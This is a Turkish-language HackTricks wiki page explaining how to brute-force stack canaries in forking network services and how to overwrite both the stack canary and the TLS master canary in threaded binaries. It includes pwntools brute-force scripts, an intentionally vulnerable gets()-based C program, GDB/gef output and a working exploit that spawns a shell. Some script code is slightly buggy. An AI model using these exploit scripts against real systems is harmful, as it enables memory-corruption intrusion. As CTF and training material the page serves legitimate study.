mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
219 lines
8.6 KiB
Markdown
219 lines
8.6 KiB
Markdown
# BF Forked & Threaded Stack Canaries
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
**Eğer bir canary ve PIE (Position Independent Executable) ile korunmuş bir ikili dosya ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.**
|
||
|
||
.png>)
|
||
|
||
> [!NOTE]
|
||
> **`checksec`**'in bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\
|
||
> Ancak, bir fonksiyon çağrısının başında yığında bir değerin saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz.
|
||
|
||
## Brute force Canary
|
||
|
||
Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda **çocuk süreçleri fork eden** bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda **aynı canary kullanılacaktır**.
|
||
|
||
Bu durumda, canary'yi aşmanın en iyi yolu sadece **karakter karakter brute-force yapmak** ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlamaktır. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force yapar** ve doğru tahmin edilen bir bayt ile kötü bir bayt arasında ayrım yapar, sadece **bir yanıtın** sunucu tarafından geri gönderilip gönderilmediğini **kontrol ederek** (başka bir durumda **try/except** kullanmak da bir yol olabilir):
|
||
|
||
### Örnek 1
|
||
|
||
Bu örnek 64 bit için uygulanmıştır ancak 32 bit için de kolayca uygulanabilir.
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
### Örnek 2
|
||
|
||
Bu 32 bit için uygulanmıştır, ancak bu kolayca 64 bite değiştirilebilir.\
|
||
Ayrıca bu örnek için **programın önce girişin boyutunu belirtmek için bir byte beklediğini** ve yükü.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
## İplikler
|
||
|
||
Aynı işlemin iplikleri de **aynı canary token'ını paylaşacaktır**, bu nedenle bir ikili her saldırı gerçekleştiğinde yeni bir iplik oluşturuyorsa, bir canary'yi **brute-force** yapmak mümkün olacaktır.
|
||
|
||
Canary ile korunan bir iplikli işlevdeki bir buffer overflow, işlemin ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş olsa da) iki canary ile kullanılır.
|
||
|
||
### Örnek
|
||
|
||
Aşağıdaki program Buffer Overflow'a karşı savunmasızdır, ancak canary ile derlenmiştir:
|
||
```c
|
||
#include <pthread.h>
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
|
||
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
|
||
|
||
void win() {
|
||
execve("/bin/sh", NULL, NULL);
|
||
}
|
||
|
||
void* vuln() {
|
||
char data[0x20];
|
||
gets(data);
|
||
}
|
||
|
||
int main() {
|
||
pthread_t thread;
|
||
|
||
pthread_create(&thread, NULL, vuln, NULL);
|
||
pthread_join(thread, NULL);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
`vuln`'ın bir iş parçacığı içinde çağrıldığını unutmayın. GDB'de `vuln`'a, özellikle programın girdi verilerini okumak için `gets`'i çağırdığı noktaya bakabiliriz:
|
||
```bash
|
||
gef> break gets
|
||
Breakpoint 1 at 0x4010a0
|
||
gef> run
|
||
...
|
||
gef> x/10gx $rdi
|
||
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
|
||
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
|
||
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
|
||
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
|
||
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
|
||
```
|
||
Yukarıda, programın kullanıcı girişi yazacağı `data` adresi temsil edilmektedir. Stack canary `0x7ffff7d7ee48` (`0x493fdc653a156800`) adresinde bulunur ve dönüş adresi `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`) adresindedir:
|
||
```bash
|
||
gef> telescope $rdi 8 -n
|
||
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
|
||
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
|
||
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
|
||
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
|
||
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
|
||
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
|
||
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
|
||
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
|
||
```
|
||
Yığın adreslerinin gerçek yığına ait olmadığını unutmayın:
|
||
```bash
|
||
gef> vmmap stack
|
||
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
|
||
Start End Size Offset Perm Path
|
||
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
|
||
```
|
||
İş parçacığının yığını, ana canary'nin saklandığı Thread Local Storage (TLS) üzerinde yer alır:
|
||
```bash
|
||
gef> tls
|
||
$tls = 0x7ffff7d7f640
|
||
...
|
||
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
|
||
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
|
||
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
|
||
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
|
||
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
|
||
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
|
||
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
|
||
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
|
||
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
|
||
...
|
||
```
|
||
> [!NOTE]
|
||
> Yukarıdaki GDB fonksiyonlarının bazıları, genellikle [hugsy/gef](https://github.com/hugsy/gef) ile karşılaştırıldığında daha fazla özelliğe sahip olan [bata24/gef](https://github.com/bata24/gef) adlı bir uzantıda tanımlanmıştır.
|
||
|
||
Sonuç olarak, büyük bir Buffer Overflow, hem stack canary'yi hem de TLS'deki master canary'yi değiştirmeye izin verebilir. Bu, ofsettir:
|
||
```bash
|
||
gef> p/x 0x7ffff7d7f668 - $rdi
|
||
$1 = 0x848
|
||
```
|
||
Bu, `win` çağırmak için kısa bir istismar:
|
||
```python
|
||
from pwn import *
|
||
|
||
context.binary = 'thread_canary'
|
||
|
||
payload = b'A' * 0x28 # buffer overflow offset
|
||
payload += b'BBBBBBBB' # overwritting stack canary
|
||
payload += b'A' * 8 # saved $rbp
|
||
payload += p64(context.binary.sym.win) # return address
|
||
payload += b'A' * (0x848 - len(payload)) # padding
|
||
payload += b'BBBBBBBB' # overwritting master canary
|
||
|
||
io = context.binary.process()
|
||
io.sendline(payload)
|
||
io.interactive()
|
||
```
|
||
## Diğer örnekler ve referanslar
|
||
|
||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||
- 64 bit, PIE yok, nx, BF canary, `execve` çağırmak ve oraya atlamak için bazı belgelere bir ROP yazın.
|
||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||
- 64 bit, PIE yok, nx, thread ve master canary'yi değiştirin.
|